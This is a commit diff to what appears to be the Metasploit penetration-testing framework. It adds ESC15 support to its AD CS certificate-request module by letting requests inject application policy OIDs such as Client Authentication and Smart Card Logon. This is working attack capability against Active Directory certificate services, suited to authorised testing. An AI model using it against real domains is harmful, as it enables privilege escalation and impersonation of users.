Add support to icpr_cert for ESC15

This commit is contained in:
Spencer McIntyre
2024-10-08 17:17:10 -04:00
parent 8d943efc30
commit 2e4315b3c9
2 changed files with 51 additions and 3 deletions
@@ -20,6 +20,18 @@ The target certificate authority. The default value used by AD CS is `$domain-DC
### CERT_TEMPLATE
The certificate template to issue, e.g. "User".
### ADD_CERT_APP_POLICY
Add certificate application policy OIDs to the certificate. The ability to add policy OIDs to the certificate is
dependent on it's configuration. More than one OID can be specified, separated by spaces, `;`, or `,`.
Some useful OIDs for this purpose include:
* `1.3.6.1.4.1.311.20.2.2` -- Smart Card Logon
* `1.3.6.1.5.2.3.4` -- PKINIT Client Authentication
* `1.3.6.1.5.5.7.3.1` -- Server Authentication
* `1.3.6.1.5.5.7.3.2` -- Client Authentication
* `1.3.6.1.5.5.7.3.3` -- Code Signing
### ALT_DNS
Alternative DNS name to specify in the certificate. Useful in certain attack scenarios.
+39 -3
View File
@@ -22,6 +22,8 @@ module Exploit::Remote::MsIcpr
OID_NTDS_OBJECTSID = '1.3.6.1.4.1.311.25.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.10 szENROLLMENT_NAME_VALUE_PAIR](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/92f07a54-2889-45e3-afd0-94b60daa80ec)
OID_ENROLLMENT_NAME_VALUE_PAIR = '1.3.6.1.4.1.311.13.2.1'.freeze
# [[MS-WCCE]: 2.2.2.7.7.3 Encoding a Certificate Application Policy Extension](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/160b96b1-c431-457a-8eed-27c11873f378)
OID_APPLICATION_CERT_POLICIES = '1.3.6.1.4.1.311.21.10'.freeze
class MsIcprError < StandardError; end
class MsIcprConnectionError < MsIcprError; end
@@ -39,6 +41,7 @@ module Exploit::Remote::MsIcpr
OptString.new('ALT_DNS', [ false, 'Alternative certificate DNS' ]),
OptString.new('ALT_SID', [ false, 'Alternative object SID' ]),
OptString.new('ALT_UPN', [ false, 'Alternative certificate UPN (format: USER@DOMAIN)' ]),
OptString.new('ADD_CERT_APP_POLICY', [ false, 'Add certificate application policy OIDs' ], regex: /^\d+(\.\d+)+(([;,]\s*|\s+)\d+(\.\d+)+)*$/),
OptPath.new('PFX', [ false, 'Certificate to request on behalf of' ]),
OptString.new('ON_BEHALF_OF', [ false, 'Username to request on behalf of (format: DOMAIN\\USER)' ]),
Opt::RPORT(445)
@@ -131,6 +134,7 @@ module Exploit::Remote::MsIcpr
alt_sid = opts[:alt_sid] || (datastore['ALT_SID'].blank? ? nil : datastore['ALT_SID'])
alt_upn = opts[:alt_upn] || (datastore['ALT_UPN'].blank? ? nil : datastore['ALT_UPN'])
algorithm = opts[:algorithm] || datastore['DigestAlgorithm']
application_policies = opts[:add_cert_app_policy] || (datastore['ADD_CERT_APP_POLICY'].blank? ? nil : datastore['ADD_CERT_APP_POLICY'].split(/[;,]\s*|\s+/))
status_msg << " - alternate DNS: #{alt_dns}" if alt_dns
status_msg << " - alternate UPN: #{alt_upn}" if alt_upn
status_msg << " - digest algorithm: #{algorithm}" if algorithm
@@ -140,7 +144,8 @@ module Exploit::Remote::MsIcpr
dns: alt_dns,
msext_sid: alt_sid,
msext_upn: alt_upn,
algorithm: algorithm
algorithm: algorithm,
application_policies: application_policies
)
on_behalf_of = opts[:on_behalf_of] || (datastore['ON_BEHALF_OF'].blank? ? nil : datastore['ON_BEHALF_OF'])
@@ -205,6 +210,13 @@ module Exploit::Remote::MsIcpr
print_status("Certificate UPN: #{upn.join(', ')}")
end
unless (policy_oids = get_cert_policy_oids(response[:certificate])).empty?
print_status("Certificate Policies:")
policy_oids.each do |oid|
print_status(" * #{oid.value}" + (oid.label.present? ? " (#{oid.label})" : ''))
end
end
pkcs12 = OpenSSL::PKCS12.create('', '', private_key, response[:certificate])
# see: https://pki-tutorial.readthedocs.io/en/latest/mime.html#mime-types
info = "#{simple.client.default_domain}\\#{datastore['SMBUser']} Certificate"
@@ -239,8 +251,10 @@ module Exploit::Remote::MsIcpr
# @param [String] dns An alternative DNS name to use.
# @param [String] msext_sid An explicit SID to specify for strong identity mapping.
# @param [String] msext_upn An alternative User Principal Name (this is a Microsoft-specific feature).
# @param [String] algorithm The algorithm to use when signing the CSR.
# @param [Array<String>] application_policies OIDs to add as application policies.
# @return [OpenSSL::X509::Request] The request object.
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256')
def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algorithm: 'SHA256', application_policies: [])
request = OpenSSL::X509::Request.new
request.version = 1
request.subject = OpenSSL::X509::Name.new([
@@ -265,6 +279,13 @@ module Exploit::Remote::MsIcpr
extensions << OpenSSL::X509::Extension.new(OID_NTDS_CA_SECURITY_EXT, ntds_ca_security_ext.to_der, false)
end
unless application_policies.blank?
application_cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.new(
certificatePolicies: application_policies.map { |policy_oid| Rex::Proto::CryptoAsn1::X509::PolicyInformation.new(policyIdentifier: policy_oid) }
)
extensions << OpenSSL::X509::Extension.new(OID_APPLICATION_CERT_POLICIES, application_cert_policies.to_der, false)
end
unless extensions.empty?
request.add_attribute(OpenSSL::X509::Attribute.new(
'extReq',
@@ -349,6 +370,22 @@ module Exploit::Remote::MsIcpr
)
end
# Get the certificate policy OIDs from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert
# @return [Array<Rex::Proto::CryptoAsn1::ObjectId>] The policy OIDs if any were found.
def get_cert_policy_oids(cert)
ext = cert.extensions.find { |e| e.oid == 'ms-app-policies' }
return [] unless ext
cert_policies = Rex::Proto::CryptoAsn1::X509::CertificatePolicies.parse(ext.value_der)
cert_policies.value.map do |policy_info|
oid_string = policy_info[:policyIdentifier].value
Rex::Proto::CryptoAsn1::OIDs.value(oid_string) || Rex::Proto::CryptoAsn1::ObjectId.new(oid_string)
end
end
# Get the object security identifier (SID) from the certificate. This is a Microsoft specific extension.
#
# @param [OpenSSL::X509::Certificate] cert
@@ -402,7 +439,6 @@ module Exploit::Remote::MsIcpr
end
end
# Get the E-mail addresses from the certificate.
#
# @param [OpenSSL::X509::Certificate] cert